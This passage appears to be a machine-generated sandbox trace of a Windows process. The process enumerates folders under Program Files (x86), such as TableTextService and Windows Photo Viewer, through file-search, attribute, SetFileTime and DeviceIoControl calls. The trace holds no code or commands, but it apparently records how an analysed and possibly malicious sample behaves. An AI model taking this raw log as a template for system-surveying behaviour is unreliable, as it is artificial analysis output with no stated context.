cFileName="TableTextServiceDaYi.txt", cAlternateFileName="")) returned 1 [0089.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1fa8 [0089.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13158f8 [0089.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.740] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f6118a, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x47f6118a, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x7821d6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x196b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedQuanPin.txt", cAlternateFileName="")) returned 1 [0089.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1fc8 [0089.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1315a00 [0089.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8ec0) returned 0x132a698 [0089.742] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ff9706, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x47ff9706, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x782dbd9c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x160e36, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedShuangPin.txt", cAlternateFileName="")) returned 1 [0089.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.742] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.742] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1fe8 [0089.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1315b08 [0089.743] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.743] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x480459c4, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x480459c4, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x783c05dc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x1b9fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedZhengMa.txt", cAlternateFileName="")) returned 1 [0089.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.743] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.744] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2008 [0089.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1315c10 [0089.745] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.745] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x482a6fb4, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x482a6fb4, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x783c05dc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0xafa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 1 [0089.745] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.745] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.745] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2028 [0089.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1315d18 [0089.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x482a6fb4, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x482a6fb4, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x783c05dc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0xafa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 0 [0089.747] GetLastError () returned 0x12 [0089.747] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0089.747] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.747] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.747] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228e0708, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.747] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228e0708, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.747] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0089.748] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0089.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333560 [0089.748] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1333560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0089.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333560) returned 1 [0089.748] NtClose (Handle=0x164) returned 0x0 [0089.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0089.749] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0089.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228e0708, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2eda9c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2eda9c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 1 [0089.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1315e20 [0089.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2048 [0089.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1315f28 [0089.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2eda9c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2eda9c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 0 [0089.752] GetLastError () returned 0x12 [0089.752] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0089.752] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.752] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228e0708, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.752] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2eda9c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2eda9c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 1 [0089.752] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2eda9c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2eda9c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 0 [0089.752] GetLastError () returned 0x12 [0089.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0089.753] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1315e20) returned 1 [0089.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.753] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x688296e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x688296e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xaf1e3ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0089.753] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x482a6fb4, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x482a6fb4, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x77dccedc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x3f54, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceAmharic.txt", cAlternateFileName="")) returned 1 [0089.753] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47eeed6d, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x47eeed6d, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x77e3f2fc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x136bf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceArray.txt", cAlternateFileName="")) returned 1 [0089.753] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77e3f2fc, ftCreationTime.dwHighDateTime=0x1c9ea14, ftLastAccessTime.dwLowDateTime=0x77e3f2fc, ftLastAccessTime.dwHighDateTime=0x1c9ea14, ftLastWriteTime.dwLowDateTime=0x77ed787c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0xef486, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceDaYi.txt", cAlternateFileName="")) returned 1 [0089.753] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f6118a, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x47f6118a, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x7821d6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x196b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedQuanPin.txt", cAlternateFileName="")) returned 1 [0089.753] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ff9706, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x47ff9706, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x782dbd9c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x160e36, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedShuangPin.txt", cAlternateFileName="")) returned 1 [0089.753] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x480459c4, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x480459c4, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x783c05dc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x1b9fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedZhengMa.txt", cAlternateFileName="")) returned 1 [0089.753] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x482a6fb4, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x482a6fb4, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x783c05dc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0xafa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 1 [0089.753] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x482a6fb4, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x482a6fb4, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x783c05dc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0xafa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 0 [0089.753] GetLastError () returned 0x12 [0089.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.754] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0089.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0089.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.754] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="")) returned 0 [0089.754] GetLastError () returned 0x12 [0089.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0089.755] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0089.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.755] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffecc10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffecc10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="")) returned 1 [0089.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.756] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer" (normalized: "c:\\program files (x86)\\windows photo viewer"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffecc10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffecc10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0089.756] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer" (normalized: "c:\\program files (x86)\\windows photo viewer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.756] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0089.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333560 [0089.756] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333560, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x1333560, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0089.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333560) returned 1 [0089.757] NtClose (Handle=0x180) returned 0x0 [0089.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0089.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0089.758] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e91c0 [0089.758] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffecc10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffecc10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.758] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.758] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7849cb5e, 